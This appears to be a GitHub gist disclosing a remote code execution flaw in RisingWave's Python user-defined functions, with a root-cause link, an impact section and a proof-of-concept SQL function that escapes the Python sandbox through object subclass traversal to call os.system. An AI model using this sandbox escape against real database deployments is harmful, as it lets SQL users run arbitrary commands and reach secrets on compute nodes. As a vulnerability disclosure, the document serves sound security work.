Skip to content

Instantly share code, notes, and snippets.

@shouc
Created January 18, 2025 02:31
Show Gist options
  • Save shouc/e4e8be7726c093a0fbc3e744ea9b00f6 to your computer and use it in GitHub Desktop.
Save shouc/e4e8be7726c093a0fbc3e744ea9b00f6 to your computer and use it in GitHub Desktop.

RCE in Risingwave UDF

Summary

An attacker with sufficient privileges to execute SQL queries can exploit a Remote Code Execution (RCE) vulnerability through User-Defined Functions (UDF) in Risingwave. By crafting a malicious UDF in Python, the attacker can execute arbitrary system commands on any compute nodes.

Details

The root cause of this issue is the lack of proper isolation and sanitization in the execution environment for Python UDFs (https://github.com/arrow-udf/arrow-udf/blob/main/arrow-udf-python/src/interpreter.rs#L37-L73). Attackers can abuse this to escalate their privileges from SQL execution to direct system-level access.

PoC

Execute following SQL:

CREATE FUNCTION rce() RETURNS string LANGUAGE python AS $$
def rce():
 os = [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"]
 os.system('echo rce > ~/rce')
 return "ok"
$$;

SELECT rce();

Then, there shall be a rce file at home directory.

Impact

Attackers must have the privileges to execute SQL queries and create functions to exploit this vulnerability. By doing so, they can access arbitrary data and secrets stored on the compute node, effectively bypassing privilege boundaries. Additionally, attackers can execute arbitrary system commands, potentially leading to a system takeover. This significantly escalates the impact, as it compromises both data confidentiality and the overall integrity of the system.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment